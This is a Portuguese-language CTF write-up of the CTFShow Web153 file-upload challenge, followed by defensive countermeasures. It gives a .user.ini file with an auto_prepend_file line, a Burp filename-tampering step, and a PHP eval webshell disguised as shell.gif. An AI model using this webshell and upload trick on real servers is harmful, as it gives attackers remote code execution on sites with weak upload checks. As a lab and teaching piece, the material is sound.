Explorando Vulnerabilidades de Upload de Arquivos com .user.ini em CTFShow Web153

CTFShow Web153: Exploração de Vulnerabilidade com .user.ini

A questão Web153 do CTFShow apresenta um cenário de upload de arquivos que não pode ser explorado com as técnicas usadas em Web151. Ao acessar o diretório /upload/, a mansagem "nothing here" indica a presença de arquivos PHP, o que sugere a possibilidade de explorar vulnerabilidades através do upload de arquivos .user.ini.

Mecanismo do .user.ini

O arquivo .user.ini permite a configuração de diretivas do PHP, incluindo funcionalidades de inclusão automática de arquivos. Duas diretivas são particularmente úteis para fins maliciosos:

  • auto_prepend_file: Inclui um arquivo especificado antes da execução de qualquer script PHP.
  • auto_append_file: Inclui um arquivo especificado após a execução de um script PHP (esta opção pode falhar se o script PHP contiver uma instrução exit()).

A exploração bem-sucedida depende da existência de um arquivo PHP executável no diretório de upload. Neste caso, a presença de index.php no diretório upload atende a este requisito.

Passos da Exploração

1. Criação do Arquivo .user.ini Malicioso

Crie um arquivo chamado .user.ini com o seguinte conteúdo:


auto_prepend_file=shell.gif
   

Observação: Pode-se optar por auto_prepend_file ou auto_append_file. A escolha afeta a ordem de inclusão. auto_prepend_file é preferível para garantir a inclusão antes do script principal.

2. Upload Modificado do .user.ini

Utilize uma ferramenta como o Burp Suite para itnerceptar a requisição de upload do arquivo .user.ini. Modifique o nome do arquivo para .user.ini durante o processo de upload.

3. Upload do Payload (shell.gif)

Prepare um arquivo com um payload de webshell, nomeado como shell.gif (ou outro nome que será referenciado no .user.ini). O conteúdo pode ser:


<?php @eval($_POST['cmd']); ?>
   

Faça o upload deste arquivo diretamente, sem modificações de nome.

4. Conexão com o Web Shell

Acesse o script PHP principal no diretório de upload (por exemplo, /upload/index.php). Utilize uma ferramenta de conexão de webshell, inserindo a URL e a senha definida no payload (cmd neste exemplo).

5. Obtenção do Flag

Após estabelecer a conexão com o webshell, navegue até o local do arquivo de flag (geralmente em www/html/flag.php) para obter a bandeira.

Causa da Vulnerabilidade e Contramedidas

Causa Raiz:

  • Validação insuficiente do tipo de arquivo no lado do servidor.
  • Configuração do PHP permitindo a diretiva user_ini.filename (ou similar), habilitando a execução de código arbitrário através de arquivos de configuração.

Medidas de Defesa:

  • Desabilitar Configurações Perigosas: Configure o PHP para não permitir a leitura de arquivos .user.ini definindo user_ini.filename = "" no php.ini.
  • Validação Rigorosa de Uploads: Implemente validação robusta no lado do servidor para extensões de arquivo, tipos MIME e, se possível, verificação de conteúdo.
  • Permissões de Arquivo: Restrinja as permissões de execução para diretórios de upload, permitindo apenas operações de leitura e escrita.
  • Localização Segura de Arquivos: Evite armazenar arquivos sensíveis em diretórios diretamente acessíveis pela web.

Este guia detalha a exploração da vulnerabilidade de upload de arquivos em CTFShow Web153 usando arquivos .user.ini.

Tags: PHP web security file upload CTF cve

Publicado em 6-11 17:42 por Thomas